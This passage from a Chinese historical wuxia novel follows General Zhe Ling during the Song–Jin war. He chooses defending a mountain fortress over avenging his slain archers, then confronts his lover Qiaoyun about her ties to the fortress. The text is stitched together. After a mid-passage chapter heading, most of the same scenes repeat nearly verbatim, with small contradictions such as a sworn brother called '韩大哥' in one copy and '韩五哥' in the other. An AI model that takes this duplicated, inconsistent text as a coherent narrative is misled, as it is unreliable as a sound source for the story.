己在克里斯蒂娜房中偷窥之事,只以为折翎念头转错,尚不知巧云亦非命王砦主
做事之人。遂暗暗打定主意,为克里斯蒂娜提前报些信息,以便得其信任、重提
自山后脱身之事。甫一出门,便急切开口道:「折将军、安公子,时间紧迫,不
如我们分头行事!折将军自去安排稳当,安公子再出砦侦敌、谨防夜袭,在下这
便回房准备写予张枢密的信笺。不知二位意下如何?」
折翎颔首道:「风先生所言极是!二弟,便依风先生所言。」
安鸿风慎双双拱手应诺,转身离去。安鸿身法飞快,一瞬便没了踪影,剩风
慎甩袖独行。折翎望着风慎洒然背影,松开陆大安手臂道:「陆兄弟,你可信我
折翎?」
陆大安粗粗出了口气道:「怎会不信?折将军说得哪家话?可还是把我当外
人么?」
折翎缓缓负手于后,再问道:「击退金狗与为箭营弟兄报仇,哪样为重?」
陆大安双拳一紧,瓮声怒道:「自然是为箭营弟兄报仇为重!佟仲至今生死
不知,林童田力丢了性命,谷山李七重伤难起。这桩桩深仇,将军不都说是那王
砦主及其同伙所为!既如此,将军为何阻我杀这狗贼?」
此时山风渐起,天边一弯新月初升。折翎仰首遥望,有所思道:「此砦所处
之地乃三国时西蜀诸葛武侯亲选,邓艾偷渡阴平时已被后主荒废,不然邓艾怎能
成其大功?如今我西军残部守住大散关,金狗无计可施。遂欲效仿邓艾,借此路
入蜀。此砦虽险,但我箭营弟兄能战者仅余七人,羽箭仅余数百。如何抵挡金狗
如狼似虎?唯得举砦一心,事方有可为。如若此砦不守,放任金狗入蜀,则三分
归晋之故事重演,陕西路金狗抢掠屠戮惨剧亦将复现蜀中天府之地。我大宋山河
破碎,百姓亡身丧家者何止千万!这千万性命,与我箭营兄弟性命孰轻孰重?若
折翎仍是昔日江湖一草莽、此处非山河攻守之地,今日必斩此卖国狗贼于刀下,
为佟仲及箭营兄弟报仇。可如今身为西军一卒,当此紧要之地,身负江山重任,
如何能肆意所欲、快意恩仇?大安,大安,箭营兄弟十数条性命与我大宋万千百
姓性命,又是哪样为重?」
折翎方才对王砦主一番说话虽是凿凿,可巧云入砦后所言所行不尽不实。强
行压下疑虑不问,却在心中化作惴惴。如今揭蛊在即,难免怀了戚戚在胸。将胸
中气附在这一段话中,似自坚又似说与陆大安听,语气由平静转作激昂,再由激
昂化作沉重,最后变探问收尾。一波三折,将心中鼓荡展露无余。陆大安静立一
旁,将言语听了个七成明白,却把这情绪收了个十足。闻折翎探问,不甘之下略
带黯然道:「将军所说诸葛邓艾,我却不懂。但砦子险峻,金狗要由此入蜀攻打
我大宋,我是听真了的。金狗残暴,小种相公便是死在他们手中!为阻金狗入寇,
我西军同袍不知战死多少。天杀的厮鸟在中原陕西又害了我宋人百姓无数,自不
能再放这群牲畜入蜀。只是……只是这箭营兄弟,就该白白丢了性命么?这……
这这可怎么处?」
折翎倏地转身,将眼盯了陆大安道:「我等先杀金狗,后顾私怨。击退金狗
保住砦子之后,再与他算我箭营之事,如何?」
陆大安低头看地、切齿抿唇、脸上刀疤微微抖动,半响方道:「别无他法,
只得如此!」言毕将眼光一抬,撞见折翎殷切目光,猛然醒悟眼前人乃是自家将
主,慌忙单膝跪地、抱拳垂首、轰然应道:「陆大安谨遵将军差遣!」
折翎俯身将他扶起,心内自忖道:「大安粗豪,尚能解我心意,箭营弟兄该
是无碍。云儿遣他来我身边,怕也是欲与我携手抗金却心中不安,故而为此。以
坚我心,以表其诚。」想到此节,心中暗暗欢喜。可扶起陆大安,见其眼神,宛
有悲愁,心又想到:「佟仲与我,情如手足,其父待我如亲子;箭营众人,万死
之中舍命追随,却不料有因云儿之故而失生丧命者。云儿身份,着实可疑。今日
与王砦主破脸,说不得也要向云儿问个明白。究竟如何,也好给众人一个交代。」
陆大安被折翎扶起,却见他不言不语,神情不属。不知何故,亦不敢打扰,
只好叉手立在一旁。此时,不远处的议事厅中传来杯盏及木椅破碎之声,声响之
中,夹杂着几声喟叹,充满愧疚无奈。折翎闻声回神,望议事厅摇首自语道:「
云儿近来面含悲苦,砦主墙上厅中亦带愧疚,此事或有隐情,尚未可知。」言罢,
一面想着如何向巧云发问一面负手往坪下行走。陆大安闻折翎言语,却不解其心
中两难。暗暗腹诽折翎心忒过良善,默默随行。
陆大安随折翎缓步而行,盏茶时间方到中坪。折翎远远望见自己所住居所,
便停步不前。陆大安见折翎时而微微摇首,时而放眼远望,时而侧脸蹙眉,时而
轻轻一叹,时而双手握紧,时而起步欲行,却不知为了何故。心感自己是个只知
厮杀的粗人,不能为将主解忧,不自觉间亦是眉头蹙起。
折翎近乡情怯,各种念头在心中纷乱繁绕,终究还是没有定见。适才王砦主、
陆大安当面,两番言语欲坚定自心,却仍是有些对知晓详情的抵触。几次暗下决
心回房,又几次叹息放弃;几次痛骂自己妇人形状,又几次想起巧云恩义。思之
再三,终于还是吩咐陆大安去砦墙,自己独往居所而去。
推门而入,房中却只有晓月一人。适才折翎走后,巧云冷着脸将晓月腕骨接
驳,又扯了布条为她裹好便出门去。晓月未得小姐吩咐,不敢再次擅离。加上今
日崖边被吓得不轻、回房护折翎时余勇皆尽,只索歪坐在桌前瑟瑟颤抖。好不容
易稳定心神,想着如何将自己所见之事告与折翎,又怕折翎知晓后会对巧云动手,
胡思乱想之中伏在桌上昏昏睡去。
折翎推门声响将晓月吵醒,慌跳起掌灯。灯火照见是折翎回转,不由喜出望
外,心内担忧、恐惧、期盼搅在一处。起身三步并作两步抓住折翎衣袖,眼中关
切、口中嗬嗬,却不知如何是好。折翎甫一进门便被她抓住,登时一头雾水,见
她满面焦急,疑惑道:「晓月,你可是有事要和我说么?」
晓月听折翎温言,心中担忧关切大起,盖过其余,忙不迭点头,可一时之间
又不知如何表达。闭户门帮折翎除弓解箭后按了他在桌前坐下,忍着痛双手一齐
比划。折翎见她手舞足蹈,状略滑稽,心中的愁结稍为之缓,微笑道:「你这丫
头,且慢些。我看不懂你手语的,待云儿回来,你讲给她,再让她说与我知便是。」
语出折翎之口极为平缓,入晓月之耳却变作一惊。晓月心中再生折巧二人之
两难,念转身静,再无动作。折翎见她不动,只当她听了自己所言照办,遂未将
此事挂心,端起茶盏饮了一口道:「晓月,去娜娜房中看看。若是云儿在那里,
请她回来见我。」
晓月听闻克里斯蒂娜之名,先是骇的一抖,继而猛省:「观小姐动静,并非
真心想要加害将军。若有所为,皆是娜娜逼迫。如今我何不将崖畔娜娜行事告与
将军?将军降服娜娜,小姐自然不再图谋将军,亦可为坠崖的白小六做主。」心
中想着,便又忍不住向折翎比划开来。见折翎满面茫然,直心急如焚。忽瞄到桌
上一角摆着的笔纸,心下大喜,用舌尖润了笔锋,一点点勾画起来。
晓月虽自幼服侍巧云,却因身有残疾而未通文字诗画,只是学了日常礼数。
此刻想使水墨表达心中所想,只觉得千难万难。艰困勾勒出一长发女子之相,便
急慌慌用手去指对面克里斯蒂娜居处。也亏得折翎心思敏捷,皱皱眉便张口道出
克里斯蒂娜之名。晓月忙不迭点头,大为欣喜,提笔再画。
折翎觉晓月与平日乖巧大不相同,兼见她画的古怪,遂渐渐凝了心神在桌面
纸上。晓月一点点的画将下去,又绘出一唇角若有涎水之男子,手执王字兽首,
不由疑惑道:「小六?」
折翎话一出口,晓月便是花容一惨,继而拼命点头。稍稍平定了下心神,便
指了指画中小六,又指了指自己,向着克里斯蒂娜居处,以笔为刀,向前刺出。
就在此时,房门吱呀一声被人推开。晓月吃了一惊,手中笔滑落地面。定睛
一看,来人明眸杏目,正略显吃力的搬着一具瑶琴,乃是折翎欲寻的巧云。
折翎起身,将琴接过安置于桌上,瞥见琴尾古旧划痕,心中一软。将手探出
挲过琴身叹道:「久不见此绿绮!乱事之中、辗转千里,云儿你竟还将它带在身
边?」
巧云手按琴弦,转眸挤笑道:「当日你我在京口重逢,我失口抱怨所奏之琴
音色不佳,你便从红玉姐姐口中问明我所愿,千里迢迢觅得此琴。绿绮古琴,再
贵重在我眼中也是寻常。可这琴中却有廿三郎浓浓情意,我怎会随意丢弃?我身
娇弱,故托在娜娜处保管。娜娜不负我望,完璧至今。只是此琴不知你费了多大
代价,花了多少精力方能得回?想来便让我心疼。」
折翎想到昔日求琴之事,不由会心笑道:「只一具琴,寻到买了便是,哪有
什么精力代价?」
巧云笑着白了折翎一眼,捏粉拳在折翎身上作势一捶道:「又来说些轻巧话
糊弄我!此琴通黑泛幽,若绿藤绕于古木之上。即便并非司马相如当年那一具,
亦是古物无疑。怎得让你轻巧巧购于集市之上?」
折翎握住巧云柔荑,故作神秘笑道:「此乃我与韩大哥二人共守之秘,却不
能说与你知!」
巧云素手被折翎握了个结实,心头泛起阵阵甜蜜,柔声佯嗔道:「韩大哥许
是已经偷偷告知红玉姐姐了,只你将好事欺瞒了我一个!」
折翎闻听欺瞒二字,忽地从往事柔情中复归现下,面容为之一僵。巧云心细
如发,观面知其心。念起往昔心无隔阂时之恩爱,又见如今虽相敬如宾,却亲密
难再,不禁幽幽轻叹。折翎听她叹气,想起适才因琴而起之蜜意,虽是昔日常态,
却已久未得见,遂也是一声叹息,将握着巧云的手轻轻松了去。
巧云失落无言,绕坐在桌前调试琴弦,心中转着想要告知折翎的实情,斟酌
话语,只觉百般艰难。折翎亦在桌旁坐下,亦不知该从何问起。
一旁的晓月适才被巧云吓得心惊,趁着二人甜言蜜意之时拾起笔悄悄退在一
边,却心忧不知该怎么取回桌上的涂鸦。见折巧二人忆往昔无暇他顾,稍稍心安。
待二者之间的情意渐渐消退、对坐无语,便又开始担心起来。
房外夜凉如水,月光似纱,林木之间雾气缭绕,宛若人间仙境。房内灯花偶
爆,琴弦微铮,三人坐立不同却皆是思虑无语。
良久,折翎破去沉闷、将晓月拉到身边,抚其肩对巧云强笑道:「适才你未
归,晓月手舞足蹈,又兼提笔作画,似有要事。可她所绘,我却难明,只看懂了
娜娜,小六,别的却皆是混沌。云儿你善解手语,且问她一问,然后将事说与我
听如何?」
晓月闻言,骇的浑身一颤。折翎惊觉,诧异将她打量一番,回首望对坐的巧
云,见她亦是面色发白,心中疑窦大起。正欲发问时,巧云已抢道:「廿三郎,
晓月所说之事,暂且容后。我有一事,想要与你商议。」
折翎应允,便遣晓月回避。晓月心忧,垂首弄衣角、踟蹰不肯去。巧云望着
晓月,郑重道:「我已决意与廿三郎生死与共,万事再无欺瞒,你且去吧!需要
用你处,我再唤你。」
晓月抬头,见巧云面色尚白,眼中却是坚定平静。遂将眼瞄了瞄折翎,抿唇
行了个礼,起身夺过桌上画纸,掩门而去。
折翎怀探询去看巧云,却见巧云微微苦笑,摇首呢喃道:「自幼在我身边,
我待她若胞妹!」接着自嘲般一叹,续道:「我与柒柒,许久不见,不知是否已
出落长大?」
折翎听得一头雾水,心中更惑。思来想去,却只当做了其欲吐露实情前的不
安。不欲逼迫过甚,只压下言语不问。巧云也不再说话,只是调试琴弦。半响,
巧云将琴调好,心绪也渐平复,遂双手虚按琴弦强笑道:「廿三郎,可还记得当
年你送我此琴时的情景么?」
折翎听巧云再叙当年,心头涌起暖意,颔首道:「我自汴梁得琴,日夜兼程
赶回京口。你见琴心喜,至极而泣,在我颊上轻印一吻。那时我年少孟浪,得卿
青睐,一腔欢喜无发泄处,直欲癫狂。遂将你抱起,跃往先得月高楼之上。那晚
云淡星稀,明月如盘,灯火阑珊去楼颇远,繁华喧嚣踏诸足下。仿似天下只得你
我二人,再无其他。你头插碎尾银簪,身着湖绿色襦裙,迎风而立,宛如仙子私
下凡间。我痴望于你,直至今日,仍觉不够。」
巧云在折翎语中亦忆起当年事,不由得面色绯红、眼波流转。待听到折翎最
后一句情话爱意充斥、发自肺腑,遂动情应道:「将军威武英雄,又是将门之后,
而我彼时尚在娼家。能得将军垂怜,心中实在感泣。」
折翎听巧云不自觉间带出了彼时称呼,心中亲切,将手一摆微笑道:「那时
你也是如此说!我之心迹,也是如旧一般!无论你在何处、出身如何,我喜欢你
便是喜欢你!我乃折氏弃子,宗谱不得入。当日浪迹江湖,亦无今时从军功名。
云儿你不也是丝毫不弃,将这终生托付与我?此等话,以后可不再说了?」
巧云感怀,只觉心中情意竟无法表于言语。起身敛衽,盈盈一拜。折翎慌绕
过桌子,将她扶起。荒山险砦、西军箭营、欺瞒疑惑全数不见。双手相执,满是
温馨甜美;四目相对,尽是情意绵绵。
有顷,巧云猛省起今日事由,缓缓将头靠在折翎胸膛,甜声问道:「廿三郎,
你可还记得那晚应承我的事么?」
折翎环抱玲珑娇躯,鼻尖尽是熟悉的体发香气,神迷道:「自然记得!那晚
你在我怀中言道,倦了这世间纷繁,欲求一避世之地结庐而居。我答你道,蜀中
峨眉山高水秀、气候宜人。愿与你一同去彼处避世,抚琴舞剑、画眉弄儿、终老
一生……」
巧云听折翎将许久之前的许诺娓娓道来,心中的欢喜如沸水般翻涌开来。打
断折翎,亦神迷道:「只可惜世事繁杂,多不遂人愿。你我相聚未久,折老将军
便遣人来寻你与韩大哥。差韩大哥往刘延庆将军麾下听调,却带同你去梁山剿贼
寇。梁山事了,你坚辞不肯从军,带我离去,却又路遇二叔,盘桓了那许多时日。
继之靖康国难中从军,富平血海死战……」
折翎听巧云说话,记起当日巧云通知安鸿阵前援救之事,心上多了七分感激,
紧了紧怀抱续道:「那时危急,多亏你与二弟来援,否则我必命丧黄泉。曾听闻
美人恩重一说,以己度之,古人诚不我欺!深恩厚意,我……」
巧云以手掩了折翎之口,阻他下言,抬头迎上其目光道:「廿三郎,你我间
无分彼此,何来恩怨之说?」顿了一顿,鼓足勇气道:「你我并未刻意安排,只
是在世间随运而行,竟是一步步近了蜀地。如今蜀中就在此砦山后,峨眉想来已
是不远。廿三郎,你我不若抛却此间尘世纷扰,往峨眉结庐可好?」
折翎望向巧云的目光随着巧云之言,自动情缓缓转作纠结愕然,蹙眉沉吟道
:「这……」
巧云不语,只是满怀希冀望向折翎。折翎心思昔日之诺,怀抱娇柔之躯,一
时间,满腹百炼英雄气化作温情绕指柔,左右为难,不得决断。待目光碰上怀中
巧云投来的期盼,心头一软,就欲开口应承下来。恰此时,巧云久候无果,心中
原本的无比坚实也就虚了,开口歉然道:「适才砦墙之上,你放过了二师公,此
刻砦子人人心中俱是感激。我去劝他们不要襄助金人,自此砦迁往他处,由得金
宋各凭自力征战。你我便置身事外,同赴峨眉可好?」
巧云不说这番话,折翎心头尚蒙了层儿女情长。此刻听了巧云言中金人、砦
子等语句,如自噩梦中醒来般满身流汗,自忖道:「折翎折翎!你沉湎往日情怀,
竟险些误了大事!」咽了口唾沫,双手扳住巧云香肩道:「云儿,莫忘记你我便
是宋人!宋人若是皆如你所言般置身事外,则我大宋危矣!此砦当金人入蜀必经
之地,合该你我逢其会,到得……」
说到此处,折翎已然全醒,思绪亦得以活络,将负伤入砦后的每桩疑惑全都
记起。心中纷乱,纠结丛生,却不知如何开口质问。巧云只觉折翎双手渐渐力大,
肩头隐隐作痛,遂娇呼道:「廿三郎!」
折翎闻呼,一震收手,退两步站定,面色复杂。半响,左手握拳、右手摊掌
狠狠一击道:「云儿,这砦子可是受你约束?花石峡外,伤谷山李七、死林童者,
可也是你师公么?砦外金人营侧那小营内宋人,可是这砦中人么?」
折翎初问时,声似蚊呐;三问之中,音量渐渐高亢;到得最后,更是挥掌击
在侧墙之上,再厉声道:「你随我多年,一向知礼明义,待我弟兄如同爱子。我
杀金狗,你也曾多有襄助。自我被伤与你入这砦中,怎地却变成如此?你是何种
身份?砦子与你是何关系?你所为可疑之举,我尽皆不问。可你为何……为何纵
容砦中人伤我弟兄?又为何与金狗同流合污,侵我大宋江山?你还知不知自己乃
是宋人!」
折翎掌中蕴含内劲,劲风到处,墙皮浅砖碎裂,四处纷飞。巧云听了折翎问
话,心如死灰、不躲不闪,任由墙皮击打在身,只是默默流泪。一块砖碎正击在
巧云面颊,登时红肿。折翎见状,心头一痛,伸了手欲问,却终于还是将手定了
在空中。
屋内一片安静,屋外一人快步行至门前,踟蹰许久又蹑足退去。折翎见烛光
下巧云楚楚可怜,向前一步想要揽过巧云,却听巧云自嘲一笑,轻声道:「我也
不知自己应否算个宋人!」
第七章 各自心怀
安鸿风慎都是一怔,继而向折翎望去。折翎微微一笑道:「议事厅前大旗三
面,正中那面便是斗大一孟。砦主尊位后所挂锦绣之上,亦是孟字当中。我虽愚
笨,却也知砦主只是提线木偶。砦主又何必如此惺惺作态?每每议事之时,砦主
眼光只在我身边巡逡。说不得那主事之人不由砦主反由我吧?砦主宽心,但听令
便是。」
王砦主知巧云即将告知折翎一切,却不知后果究竟如何。眸中精芒再不隐匿,
收笑意起身抱拳道:「既如此,小人敬候召唤便是。祝将军言到功成,得偿所愿!」
折翎笑意更浓,拱手一礼、转身便走。陆大安在身后如影随形。安鸿风慎对
视一眼,亦是紧紧跟随。未行几步,折翎停步道:「折翎身边人虽是女流,但大
节大义之处,一向不让须眉。金狗肆虐,屠我宋境,自富平至此她皆看在眼中。
下人虽做出助纣为虐、与虎谋皮之事,她心中却必定苦痛万分、恨其助残暴金、
怒其为胡人犬。今日之事,恰是拨乱反正之机。她必与我同心坚守此处,自此便
可放开胸怀,与我再无隔阂欺瞒。还请王砦主尽速秣兵历马,以待大战!」顿了
一顿,侧头回望,痛心道:「看在她面上,只要你等全力助我守砦,前番做下之
事,我……我便既往不咎。」说到此处,又是重重一叹:「只不知为何你等身为
宋人,却做金人走狗,丧了我箭营这等英雄弟兄!」言罢,向后一抓陆大安手臂,
大步流星而去。
陆大安虽是粗豪,但也听懂了折翎所言之意。想起生死不知的佟仲和花溪峡
那场险些丧命的血战,双眉一拧,就要抽刀。恰此时,折翎如未卜先知般探手将
其右臂紧握。陆大安只觉臂间一股大力无可抵御,只得压了怒火,乖乖随行。
二人身后,安鸿对一切早就有所猜测,故虽不愉却也未变面色。而一旁的风
慎却心思飞转,一双眼珠滴溜溜转个不停。把折翎适才所言想了又想,再思及自
己在克里斯蒂娜房中偷窥之事,只以为折翎念头转错,尚不知巧云亦非命王砦主
做事之人。遂暗暗打定主意,为克里斯蒂娜提前报些信息,以便得其信任、重提
自山后脱身之事。甫一出门,便急切开口道:「折将军、安公子,时间紧迫,不
如我们分头行事!折将军自去安排稳当,安公子再出砦侦敌、谨防夜袭,在下这
便回房准备写予张枢密的信笺。不知二位意下如何?」
折翎颔首道:「风先生所言极是!二弟,便依风先生所言。」
安鸿风慎双双拱手应诺,转身离去。安鸿身法飞快,一瞬便没了踪影,剩风
慎甩袖独行。折翎望着风慎洒然背影,松开陆大安手臂道:「陆兄弟,你可信我
折翎?」
陆大安粗粗出了口气道:「怎会不信?折将军说得哪家话?可还是把我当外
人么?」
折翎缓缓负手于后,再问道:「击退金狗与为箭营弟兄报仇,哪样为重?」
陆大安双拳一紧,瓮声怒道:「自然是为箭营弟兄报仇为重!佟仲至今生死
不知,林童田力丢了性命,谷山李七重伤难起。这桩桩深仇,将军不都说是那王
砦主及其同伙所为!既如此,将军为何阻我杀这狗贼?」
此时山风渐起,天边一弯新月初升。折翎仰首遥望,有所思道:「此砦所处
之地乃三国时西蜀诸葛武侯亲选,邓艾偷渡阴平时已被后主荒废,不然邓艾怎能
成其大功?如今我西军残部守住大散关,金狗无计可施。遂欲效仿邓艾,借此路
入蜀。此砦虽险,但我箭营弟兄能战者仅余七人,羽箭仅余数百。如何抵挡金狗
如狼似虎?唯得举砦一心,事方有可为。如若此砦不守,放任金狗入蜀,则三分
归晋之故事重演,陕西路金狗抢掠屠戮惨剧亦将复现蜀中天府之地。我大宋山河
破碎,百姓亡身丧家者何止千万!这千万性命,与我箭营兄弟性命孰轻孰重?若
折翎仍是昔日江湖一草莽、此处非山河攻守之地,今日必斩此卖国狗贼于刀下,
为佟仲及箭营兄弟报仇。可如今身为西军一卒,当此紧要之地,身负江山重任,
如何能肆意所欲、快意恩仇?大安,大安,箭营兄弟十数条性命与我大宋万千百
姓性命,又是哪样为重?」
折翎方才对王砦主一番说话虽是凿凿,可巧云入砦后所言所行不尽不实。强
行压下疑虑不问,却在心中化作惴惴。如今揭蛊在即,难免怀了戚戚在胸。将胸
中气附在这一段话中,似自坚又似说与陆大安听,语气由平静转作激昂,再由激
昂化作沉重,最后变探问收尾。一波三折,将心中鼓荡展露无余。陆大安静立一
旁,将言语听了个七成明白,却把这情绪收了个十足。闻折翎探问,不甘之下略
带黯然道:「将军所说诸葛邓艾,我却不懂。但砦子险峻,金狗要由此入蜀攻打
我大宋,我是听真了的。金狗残暴,小种相公便是死在他们手中!为阻金狗入寇,
我西军同袍不知战死多少。天杀的厮鸟在中原陕西又害了我宋人百姓无数,自不
能再放这群牲畜入蜀。只是……只是这箭营兄弟,就该白白丢了性命么?这……
这这可怎么处?」
折翎倏地转身,将眼盯了陆大安道:「我等先杀金狗,后顾私怨。击退金狗
保住砦子之后,再与他算我箭营之事,如何?」
陆大安低头看地、切齿抿唇、脸上刀疤微微抖动,半响方道:「别无他法,
只得如此!」言毕将眼光一抬,撞见折翎殷切目光,猛然醒悟眼前人乃是自家将
主,慌忙单膝跪地、抱拳垂首、轰然应道:「陆大安谨遵将军差遣!」
陆大安被折翎扶起,却见他不言不语,神情不属。不知何故,亦不敢打扰,
只好叉手立在一旁。此时,不远处的议事厅中传来杯盏及木椅破碎之声,声响之
中,夹杂着几声喟叹,充满愧疚无奈。折翎闻声回神,望议事厅摇首自语道:「
云儿近来面含悲苦,砦主墙上厅中亦带愧疚,此事或有隐情,尚未可知。」言罢,
一面想着如何向巧云发问一面负手往坪下行走。
陆大安随折翎缓步而行,盏茶时间方到中坪。折翎远远望见自己所住居所,
便停步不前。陆大安见折翎时而微微摇首,时而放眼远望,时而侧脸蹙眉,时而
轻轻一叹,时而双手握紧,时而起步欲行,却不知为了何故。心感自己是个只知
厮杀的粗人,不能为将主解忧,不自觉间亦是眉头蹙起。侍立片刻,耳听折翎吩
咐自己往砦墙换岗,遂行礼离开。
折翎独自往居所去,推门而入,房中却只有晓月一人。适才折翎走后,巧云
冷着脸将晓月腕骨接驳,又扯了布条为她裹好便出门去。晓月未得小姐吩咐,不
敢再次擅离。加上今日崖边被吓得不轻、回房护折翎时余勇皆尽,只索歪坐在桌
前瑟瑟颤抖。好不容易稳定心神,想着如何将自己所见之事告与折翎,又怕折翎
知晓后会对巧云动手,胡思乱想之中伏在桌上昏昏睡去。
折翎推门声响将晓月吵醒,慌跳起掌灯。灯火照见是折翎回转,不由喜出望
外,起身三步并作两步抓住折翎衣袖,眼中关切、口中嗬嗬,却不知如何是好。
折翎甫一进门便被她抓住,登时一头雾水,见她满面焦急,疑惑道:「晓月,你
可是有事要和我说么?」
晓月听折翎温言,心中担忧关切大起,盖过其余,忙不迭点头,可一时之间
又不知如何表达。闭门帮折翎除弓解箭后按了他在桌前坐下,忍着痛双手一齐比
划。折翎见她手舞足蹈,状略滑稽,心中的愁结稍为之缓,微笑道:「你这丫头,
且慢些。我看不懂你手语的,待云儿回来,你讲给她,再让她说与我知便是。」
语出折翎之口极为平缓,入晓月之耳却变作一惊。晓月心中再生两难,念转
身静,再无动作。折翎见她不动,只当她听了自己所言照办,遂未将此事挂心,
端起茶盏饮了一口道:「晓月,去娜娜房中看看。若是云儿在那里,请她回来见
我。」
晓月听闻克里斯蒂娜之名,先是骇的一抖,继而猛省:「观小姐动静,并非
真心想要加害将军。若有所为,皆是娜娜逼迫。如今我何不将崖畔娜娜行事告与
将军?将军降服娜娜,小姐自然不再图谋将军,亦可为坠崖的白小六做主。」心
中想着,便又忍不住向折翎比划开来。见折翎满面茫然,直心急如焚。忽瞄到桌
上一角摆着的笔纸,心下大喜,用舌尖润了笔锋,一点点勾画起来。
晓月虽自幼服侍巧云,却因身有残疾而未通文字诗画,只是学了日常礼数。
此刻想使水墨表达心中所想,只觉得千难万难。艰困勾勒出一长发女子之相,便
急慌慌用手去指对面克里斯蒂娜居处。也亏得折翎心思敏捷,皱皱眉便张口道出
克里斯蒂娜之名。晓月忙不迭点头,大为欣喜,提笔再画。
折翎觉晓月与平日乖巧大不相同,兼见她画的古怪,遂渐渐凝了心神在桌面
纸上。晓月一点点的画将下去,又绘出一唇角若有涎水之男子,手执王字兽首,
不由疑惑道:「小六?」
折翎话一出口,晓月便是花容一惨,继而拼命点头。稍稍平定了下心神,便
指了指画中小六,又指了指自己,向着克里斯蒂娜居处,以笔为刀,向前刺出。
就在此时,房门吱呀一声被人推开。晓月吃了一惊,手中笔滑落地面。定睛
一看,来人明眸杏目,正略显吃力的搬着一具瑶琴,乃是折翎欲寻的巧云。
折翎起身,将琴接过安置于桌上,瞥见琴尾古旧划痕,心中一软。将手探出
挲过琴身叹道:「久不见此绿绮!乱事之中、辗转千里,云儿你竟还将它带在身
边?」
巧云手按琴弦,转眸挤笑道:「当日你我在京口重逢,我失口抱怨所奏之琴
音色不佳,你便从红玉姐姐口中问明我所愿,千里迢迢觅得此琴。绿绮古琴,再
贵重在我眼中也是寻常。可这琴中却有廿三郎浓浓情意,我怎会随意丢弃?我身
娇弱,故托在娜娜处保管。娜娜不负我望,完璧至今。只是此琴不知你费了多大
代价,花了多少精力方能得回?想来便让我心疼。」
折翎想到昔日求琴之事,不由会心笑道:「只一具琴,寻到买了便是,哪有
什么精力代价?」
巧云笑着白了折翎一眼,捏粉拳在折翎身上作势一捶道:「又来说些轻巧话
糊弄我!此琴通黑泛幽,若绿藤绕于古木之上。即便并非司马相如当年那一具,
亦是古物无疑。怎得让你轻轻巧巧购于集市之上?」
折翎握住巧云柔荑,故作神秘笑道:「此乃我与韩五哥二人共守之秘,却不
能说与你知!」
巧云素手被折翎握了个结实,心头泛起阵阵甜蜜,柔声佯嗔道:「韩五哥许
是已经偷偷告知红玉姐姐了,只你将好事欺瞒了我一个!」
折翎闻听欺瞒二字,忽地从往事柔情中复归现下,面容为之一僵。巧云心细
如发,观面知其心。念起往昔心无隔阂时之恩爱,又见如今虽相敬如宾,却亲密
难再,不禁幽幽轻叹。折翎听她叹气,想起适才因琴而起之蜜意,虽是昔日常态,
却已久未得见,遂也是一声叹息,将握着巧云的手轻轻松了去。
巧云失落无言,绕坐在桌前调试琴弦,心中转着想要告知折翎的实情,斟酌
话语,只觉百般艰难。折翎亦在桌旁坐下,亦不知该从何问起。
一旁的晓月适才被巧云吓得心惊,趁着二人甜言蜜意之时拾起笔悄悄退在一
边,却心忧不知该怎么取回桌上的涂鸦。见折巧二人忆往昔无暇他顾,稍稍心安。
待二者之间的情意渐渐消退、对坐无语,便又开始担心起来。
房外夜凉如水,月光似纱,林木之间雾气缭绕,宛若人间仙境。房内灯花偶
爆,琴弦微铮,三人坐立不同却皆是思虑无语。
良久,折翎破去沉闷、将晓月拉到身边,抚其肩对巧云强笑道:「适才你未
归,晓月手舞足蹈,又兼提笔作画,似有要事。可她所绘,我却难明,只看懂了
娜娜,小六,别的却皆是混沌。云儿你善解手语,且问她一问,然后将事说与我
听如何?」
晓月闻言,骇的浑身一颤。折翎惊觉,诧异将她打量一番,回首望对坐的巧
云,见她亦是面色发白,心中疑窦大起。正欲发问时,巧云抢道:「廿三郎,晓
月所说之事,暂且容后。我有一事,想要与你商议。」
折翎应允,便遣晓月回避。晓月心忧,垂首弄衣角、踟蹰不肯去。巧云望着
晓月,郑重道:「我已决意与廿三郎生死与共,万事再无欺瞒,你且去吧!需要
用你处,我再唤你。」
晓月抬头,见巧云面色尚白,眼中却是坚定平静。遂将眼瞄了瞄折翎,抿唇
行了个礼,起身夺过桌上画纸,掩门而去。
折翎怀探询去看巧云,却见巧云微微苦笑,摇首呢喃道:「自幼在我身边,
我待她若胞妹!」接着自嘲般一叹,续道:「我与柒柒,许久不见,不知是否已
出落长大?」
折翎听得一头雾水,巧云却不再续说,只是调试琴弦。半响,巧云将琴调好,
心绪也渐平复,遂双手虚按琴弦强笑道:「廿三郎,可还记得当年你送我此琴时
的情景么?」
折翎听巧云再叙当年,心头涌起暖意,颔首道:「我自汴梁得琴,日夜兼程
赶回京口。你见琴心喜,至极而泣,在我颊上轻印一吻。那时我年少孟浪,得卿
青睐,一腔欢喜无发泄处,直欲癫狂。遂将你抱起,跃往先得月高楼之上。那晚
云淡星稀,明月如盘,灯火阑珊去楼颇远,繁华喧嚣踏诸足下。仿似天下只得你
我二人,再无其他。你头插碎尾银簪,身着湖绿色襦裙,迎风而立,宛如仙子私
下凡间。我痴望于你,直至今日,仍觉不够。」
巧云在折翎语中亦忆起当年事,不由得面色绯红、眼波流转。待听到折翎最
后一句情话爱意充斥、发自肺腑,遂动情应道:「将军威武英雄,又是将门之后,
而我彼时尚在娼家。能得将军垂怜,心中实在感泣。」
折翎听巧云不自觉间带出了彼时称呼,心中亲切,将手一摆微笑道:「那时
你也是如此说!我之心迹,也是如旧一般!无论你在何处、出身如何,我喜欢你
便是喜欢你!我乃折氏弃子,宗谱不得入。当日浪迹江湖,亦无今时从军功名。
云儿你不也是丝毫不弃,将这终生托付与我?此等话,以后可不再说了?」
巧云感怀,只觉心中情意竟无法表于言语。起身敛衽,盈盈一拜。折翎慌绕
过桌子,将她扶起。荒山险砦、西军箭营、欺瞒疑惑全数不见。双手相执,满是
温馨甜美;四目相对,尽是情意绵绵。
有顷,巧云猛省起今日事由,缓缓将头靠在折翎胸膛,甜声问道:「廿三郎,
你可还记得那晚应承我的事么?」
折翎环抱玲珑娇躯,鼻尖尽是熟悉的体发香气,神迷道:「自然记得!那晚
你在我怀中言道,倦了这世间纷繁,欲求一避世之地结庐而居。我答你道,蜀中
峨眉山高水秀、气候宜人。愿与你一同去彼处避世,抚琴舞剑、画眉弄儿、终老
一生……」
巧云听折翎将许久之前的许诺娓娓道来,心中的欢喜如沸水般翻涌开来。打
断折翎,亦神迷道:「只可惜世事繁杂,多不遂人愿。你我相聚未久,折老将军
便遣人来寻你与韩五哥。差韩五哥往刘延庆将军麾下听调,却带同你去梁山剿贼
